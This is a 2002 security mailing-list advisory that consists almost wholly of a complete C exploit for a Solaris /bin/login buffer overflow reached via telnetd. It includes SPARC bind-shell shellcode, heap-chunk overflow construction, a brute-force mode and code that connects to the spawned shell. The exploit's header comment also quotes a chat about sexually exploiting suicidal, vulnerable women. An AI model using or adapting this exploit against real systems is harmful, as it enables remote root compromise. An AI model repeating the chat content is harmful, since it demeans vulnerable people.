[EXPL] Solaris Login Remote Exploit (via telnetd)

From: support@securiteam.com
Date: 03/23/02


From: support@securiteam.com
To: list@securiteam.com
Date: Sat, 23 Mar 2002 12:10:41 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Solaris Login Remote Exploit (via telnetd)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article:
<http://www.securiteam.com/unixfocus/6X00G0K3FM.html> Buffer Overflow in
/bin/login, a security vulnerability in the product allows remote
attackers to cause an overflow in the /bin/login binary causing it to
execute arbitrary code, thus allowing gaining of arbitrary privileges.

DETAILS

Exploit:
/*
Solaris /bin/login array mismanagement exploit by morgan@sexter.com

 compile: use -DSOLARIS if your running it on a big endian system....
  
   friendly advice to find that special someone:
   [ronin(ronin@segfault.net)] think if i make 'the lonely hearts club' at
college...
   [ronin(ronin@segfault.net)] it'll have a psych. effect on chicks?
   [msg(ronin)] you'd get all the suicidal chicks
   [ronin(ronin@segfault.net)] they have like clubs and ***... chess
clubs, sport, rollerblading, etc.
   [ronin(ronin@segfault.net)] u can make ur own
   [msg(ronin)] yah.. most schools do
   [ronin(ronin@segfault.net)] they should be the best in bed
   [ronin(ronin@segfault.net)] cuz of how vulnerable they are to
suggestion
   [ronin(ronin@segfault.net)] and all that angst
   [msg(ronin)] always thinking
   [ronin(ronin@segfault.net)] can be harnessed for sexual gratification
   [msg(ronin)] your a quite a sexual trickster
   [ronin(ronin@segfault.net)] plus
   [ronin(ronin@segfault.net)] suicidal = pain
   [ronin(ronin@segfault.net)] pain = bdsm
   [ronin(ronin@segfault.net)] happy go lucky chicks are too content in
bed
   [msg(ronin)] /me wanders off slowly
   [ronin(ronin@segfault.net)] but suicidal chicks like to cover the full
spectrum of pain
   [ronin(ronin@segfault.net)] and pain and pleasure are one
   
    greets:
    matthew, pioneering the pinkhat movement... ryan&drago, reading telnet
rfcs for me..
    ron1n, OMG! You're in school now!@#$! The metaray, level 6 on
everquest now!
    blueboar, for his exquisite mailing list..
    antisec for being so darn hackerifically ethical... keep up the faith
    and arcanum the aim sexual predator...
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>

#define NOPS 8

struct {
  char *name;
  unsigned long reta;
  unsigned long retl;
}targets[] = {
  { "SunOS 5.7... local", 0xffbef85c, 0x20026fc8},
  { "SunOS 5.7... remote", 0xffbef8bc, 0x20026fc8},
  { "SunOS 5,7... remote 2", 0xffbef824, 0x20026fc8},
  
  { NULL, 0, 0 }
};

unsigned char shellcode[] = /* dopesquad.net shellcode + 8 nop bytes
*/
"\x10\x80\x00\x03" /* b foolabel */
"\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
/* OVERWRITE */ "\x82\x10\x20\x17" /* mov 23, %g1 */

"\xa0\x23\xa0\x10" /* sub %sp, 16, %l0 */
"\xae\x23\x80\x10" /* sub %sp, %l0, %l7 */
"\xee\x23\xbf\xec" /* st %l7, [%sp - 20] */
"\x82\x05\xe0\xd6" /* add %l7, 214, %g1 */
"\x90\x25\xe0\x0e" /* sub %l7, 14, %o0 */
"\x92\x25\xe0\x0e" /* sub %l7, 14, %o1 */
"\x94\x1c\x40\x11" /* xor %l1, %l1, %o2 */
"\x96\x1c\x40\x11" /* xor %l1, %l1, %o3 */
"\x98\x25\xe0\x0f" /* sub %l7, 15, %o4 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\xa4\x1a\x80\x08" /* xor %o2, %o0, %l2 */
"\xd2\x33\xbf\xf0" /* sth %o1, [%sp - 16] */
"\xac\x10\x27\xd1" /* mov 2001, %l6 */
"\xec\x33\xbf\xf2" /* sth %l6, [%sp - 14] */
"\xc0\x23\xbf\xf4" /* st %g0, [%sp - 12] */
"\x82\x05\xe0\xd8" /* add %l7, 216, %g1 */
"\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */
"\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */
"\x94\x1a\xc0\x17" /* xor %o3, %l7, %o2 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x82\x05\xe0\xd9" /* add %l7, 217, %g1 */
"\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */
"\x92\x25\xe0\x0b" /* sub %l7, 11, %o1 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x82\x05\xe0\xda" /* add %l7, 218, %g1 */
"\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */
"\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */
"\x94\x23\xa0\x14" /* sub %sp, 20, %o2 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\xa6\x1a\xc0\x08" /* xor %o3, %o0, %l3 */
"\x82\x05\xe0\x2e" /* add %l7, 46, %g1 */
"\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */
"\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */
"\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */
"\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */
"\x94\x02\xe0\x01" /* add %o3, 1, %o2 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */
"\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */
"\x94\x02\xe0\x02" /* add %o3, 2, %o2 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
"\x82\x02\xe0\x17" /* add %o3, 23, %g1 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */
"\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */
"\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */
"\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */
"\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */
"\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
"\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */
"\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */
"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */
"\x82\x02\xe0\x3b" /* add %o3, 59, %g1 */
"\x91\xd0\x38\x08" /* ta 0x8 */
"\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
"\x82\x02\xe0\x01" /* add %o3, 1, %g1 */
"\x91\xd0\x38\x08" /* ta 0x8 */
;

static char nop[]="\x80\x1c\x40\x11";

void usage(char **argv) {
  int i;
  
  fprintf(stderr, "Solaris /bin/login array mismangement exploit by
morgan@sexter.com\n");
  fprintf(stderr, "usage: %s <host>\n", argv[0]);
  fprintf(stderr, "\t-r <return address>\n");
  fprintf(stderr, "\t-l <return location>\n");
  fprintf(stderr, "\t-p <port>\n");
  fprintf(stderr, "\t-t <target number>\n");
  fprintf(stderr, "\t-e [for local /bin/login execution mode check for
+s]\n");
  fprintf(stderr, "\t%s -e <options> | /bin/login\n", argv[0]);
  fprintf(stderr, "\t-b brute force mode\n\n");
  fprintf(stderr, "targets are...\n");
  for(i=0; targets[i].name; i++)
    fprintf(stderr, "\t%d) %s\n", i, targets[i].name);
  
  fprintf(stderr, "\n");
  exit(0);
  
}
void die(char *error) {
  fprintf(stderr, "Error: %s\n", error);
  fprintf(stderr, "Program aborting..\n");
  exit(0);
  
}

void shift(unsigned long *addr) {
  unsigned long tmp;
  tmp = *addr >> 24;
  tmp += *addr << 8 >> 24 << 8;
  tmp += *addr << 16 >> 24 << 16;
  tmp += *addr << 24;
  *addr = tmp;
  return;
}

int write_with_iac(int fd, char *buff, int s)
{
  int i;
  unsigned char c=0, pt;
  for (i=0; i<s; i++) {
    c=(unsigned char)buff[i];
    if (c==0xff) if(write(fd, &c, 1) < 0)
      die("Write failed sending IAC");
    if(write(fd, &c, 1)<0)
      die("Write failed sending user string");
  }
}

void send_ww(int fd, unsigned char arg, int a) {
  char buf[3];
  char *p=buf;
  
  *p++ = IAC;
  if(a == WILL)
    *p++ = WILL;
  else if(a == WONT)
    *p++ = WONT;
  else {
    fprintf(stderr, "illegal send, %d is not a valid send type\n", a);
    exit(0);
  }
  *p = arg;
  
  write(fd, buf, 3);
  
  return;
}

int connect_shell(char *host, int port)
{
  struct sockaddr_in s;
  int sock;
  struct hostent *h;
  unsigned char c;
  char commands[] = "cd /; echo; uname -a; id ;echo; "
    "echo Mommy wow.. im a hacker now; echo ;\n\n";
  char buf[2048];
  fd_set fds;
  int r;
  
  s.sin_family = AF_INET;
  s.sin_port = htons(port);
  s.sin_addr.s_addr = inet_addr(host);
  
  if ((h=gethostbyname(host)) == NULL)
  {
    fprintf(stderr, "cannot resolve: %s : %s\n", host, strerror(errno));
    return -1;
  }
  memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr,
sizeof(h->h_addr));
  
  if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    return sock;
  
  if (connect (sock, (struct sockaddr *)&s, sizeof(s)) == -1)
  {
    close (sock);
    return -1;
  }
  
  write(sock, commands, strlen(commands));
  
  for(;;)
  {
    FD_ZERO(&fds);
    FD_SET(fileno(stdin), &fds);
    FD_SET(sock, &fds);
    select(255, &fds, NULL, NULL, NULL);
    
    if(FD_ISSET(sock, &fds))
    {
      memset(buf, 0x0, sizeof(buf));
      r = read (sock, buf, sizeof(buf) - 1);
      if(r <= 0)
      {
        fprintf(stderr, "Connection closed.\n");
        exit(0);
      }
      fprintf(stderr, "%s", buf);
    }
    
    if(FD_ISSET(fileno(stdin), &fds))
    {
      memset(buf, 0x0, sizeof(buf));
      read(fileno(stdin), buf, sizeof(buf) - 1);
      write(sock, buf, strlen(buf));
    }
  }
  return sock;
}
int do_telnet_negotation(char *host, int port)
{
  struct sockaddr_in s;
  int fd, ret;
  u_char c, buf[3];
  struct hostent *h;
  
  s.sin_family = AF_INET;
  s.sin_port = htons(port);
  s.sin_addr.s_addr = inet_addr(host);
  
  if ((h=gethostbyname(host)) == NULL)
  {
    fprintf(stderr, "cannot resolve: %s : %s\n", host, strerror(errno));
    return -1;
  }
  
  memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr,
sizeof(h->h_addr));
  
  if ( (fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    return fd;
  
  if (connect (fd, (struct sockaddr *)&s, sizeof(s)) == -1)
  {
    close (fd);
    return -1;
  }
  
  // send DONT's for all the DO's... ;)
  send_ww(fd, TELOPT_TTYPE, WONT);
  send_ww(fd, TELOPT_NAWS, WONT);
  send_ww(fd, TELOPT_XDISPLOC, WONT);
  send_ww(fd, TELOPT_NEW_ENVIRON, WONT);
  send_ww(fd, TELOPT_OLD_ENVIRON, WONT);
  send_ww(fd, TELOPT_BINARY, WILL);
  
  return fd;
}

int setup_exploit(char *buffer, unsigned long retl, unsigned long reta,
int bf) {
  int i,j;
  char *ptr;
  char buf[3000];
  char blah[512];
  unsigned long *a;
  unsigned long strncpy_addr = 0xffbef2a8;
  unsigned long chunk_size = 0xffffffd5;
  unsigned long chunk = 0xfffffff0;
  unsigned long free_addr = 0x20026eec;
#ifndef SOLARIS
  shift(&strncpy_addr);
  shift(&chunk_size);
  shift(&chunk);
  shift(&free_addr);
#endif
  fprintf(stderr, "Solaris /bin/login array mismangement exploit by
morgan@sexter.com\n");
  fprintf(stderr, "<matthew> I've brought more terror to this network then
Shdwknght to a chinese food buffet.\n\n");
  if(!bf) {
    fprintf(stderr, "using %#x as return address\n", reta);
    fprintf(stderr, "using %#x as return location\n", retl);
  }
  else fprintf(stderr, "trying return address %#x\n", reta);
  
  memset(&buf[0], 0x41, 512);
  // SETUP FIRST CHUNK
  // size -44+1
  ptr = &buf[36];
  memcpy(ptr, &chunk_size, 4);
  
  // SETUP CHUNK numbah 2
  retl -= 32;
  reta -= 8;
#ifndef SOLARIS
  shift(&retl);
  shift(&reta);
#endif
  ptr = buf;
  
  memcpy(ptr, &chunk, 4);
  // second addr free'd
  memcpy(ptr+4, &free_addr, 4);
  memcpy(ptr+8, (void *)&retl, 4);
  memset(ptr+16, 0xff, 4);
  memcpy(ptr+32, (void *) &reta, 4);
  
  // fake chunk built.. setting up overflow..
  for(i=0; i < 256; i++) {
    if( i < 63 || i > 190)
      blah[i] = 0x41;
    else {
      blah[i++] = 0x20;
      blah[i] = 0x41;
    }
  }
  
  //free addr 1 send in addr of mem
  memcpy(blah+252, &free_addr, 4);
  
  memcpy(blah+204, &strncpy_addr, 4);
  
  blah[256] = 0x00;
  
  
  // add shellcode to end of buf
  // pad with nops.. more is better... but not too many..
  for(i=511-sizeof(shellcode)-2-4*NOPS; i < 511-sizeof(shellcode); i+=4)
    memcpy(&buf[i], nop, sizeof(nop)-1);
  memcpy(&buf[511-sizeof(shellcode)-2], shellcode, sizeof(shellcode));
  
  
  // convert nulls to space..
  for(i=0,j=0;i<511;i++) {
    if(buf[i] == 0x00) {
      buf[i] = 0x20; j++; }
  }
  buf[511] = 0x00;
  
  sprintf(buffer,"%s%s\n", &blah,&buf);
  
  return;
}

int main(int argc, char **argv) {
  int fd,fd2, c, type, port=23,local=0,bf=0, remp=2001;
  char out[1024];
  char in[24];
  char ret[] = "\x0a";
  char *host;
  unsigned char bshell = 0xd5;
  char cc;
  unsigned long reta, retl;
  
  
  FILE *login;
  
  retl = 0x20026fc8;
  reta = 0xffbef864;
  if(argc < 2)
    usage(argv);
  
  while((c = getopt(argc, argv, "r:l:p:et:b")) != EOF){
    switch(c){
    case 'r':
      reta = strtoul(optarg, NULL, 0);
      break;
    case 'l':
      retl = strtoul(optarg, NULL, 0);
      break;
    case 'p':
      port = atoi(optarg);
      break;
    case 'e':
      local=1;
      break;
    case 't':
      type = atoi(optarg);
      if(type < 0 || type > 2){
        fprintf(stderr, "invalid target\n");
        usage(argv);
        exit(0);
      }
      if(strstr(targets[type].name, "local"))
        local = 1;
      retl = targets[type].retl;
      reta = targets[type].reta;
      break;
    case 'b':
                    bf=1;
        break;
    }
  }
  
  if(!local) {
    if(!argv[optind] || !*argv[optind])
      usage(argv);
    
    host = argv[optind];
  }
  
  if(local) {
    fprintf(stderr, "Local execution mode.. make sure to run %s [args] |
/bin/login\n", argv[0]);
    fprintf(stderr, "first wait for Password: prompt.. hit enter then,");
    fprintf(stderr, "wait for Login incorrect, and attempt to connect to
localhost on %d\n", remp);
    
  }
  if(bf) {
    reta = 0xffbef800;
  }
  
  
  for(;reta < 0xffbef8ff; reta+=4) {
    memset(out, 0, sizeof(out));
    setup_exploit(out, retl, reta, bf);
    
    if(local) {
      if(bf) {
        fprintf(stderr, "not supported do it manually you lazy ***\n");
        exit(0);
      }
      printf("%s", out);
    }
    else {
      char *ptr=in;
      fd = do_telnet_negotation (host, port);
      
      memset(in, 0, sizeof(in));
      
      while (!strstr(ptr, ":")) {
        if(ptr==&in[0]) {
          memset(in, 0, sizeof(in));
          if(read(fd, in, sizeof(in)-2) < 0)
                                                      die("Failed read waiting for login: ");
        }
        for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
        if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0))
          ptr = &in[0];
        else
          ptr++;
        
      }
      memset(in, 0, sizeof(in));
      fprintf(stdout, "Read login, sending bad user string now\n");
      write_with_iac(fd, out, strlen(out));
      fprintf(stdout, "waiting for password... ");
      
      while (!strstr(ptr, ":")) {
        if(ptr==&in[0]) {
          memset(in, 0, sizeof(in));
          if(read(fd, in, sizeof(in)-2) < 0)
            die("Failed read waiting for password: ");
        }
        for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
        if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0)) ptr =
&in[0];
        else ptr++;
      }
      memset(in, 0, sizeof(in));
      fprintf(stdout, "read Password: \nsending enter now\n");
      
      if(write(fd, ret, strlen(ret)) < 0)
        die("Write failed on password");
      
      fprintf(stdout, "Sent overflow string.... waiting for Login
incorrect\n");
      while (!strstr(ptr, "correct")) {
        if(ptr==&in[0]) {
          memset(in, 0, sizeof(in));
          if(read(fd, in, sizeof(in)-2) < 0)
            die("Failed read waiting for Login Incorrect ");
        }
        for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
        if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0))
          ptr = &in[0];
        else
          ptr++;
        
      }
      fprintf(stdout, "Got it!\n");
      fprintf(stdout, "lets connect to our bindshell..\n");
      
      close(connect_shell(host, remp));
      
      close(fd);
    }
    if(!bf) return;
  }
  fprintf(stderr, "connection closed.\n");
  
  return;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:morgan@sexter.com> Morgan.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.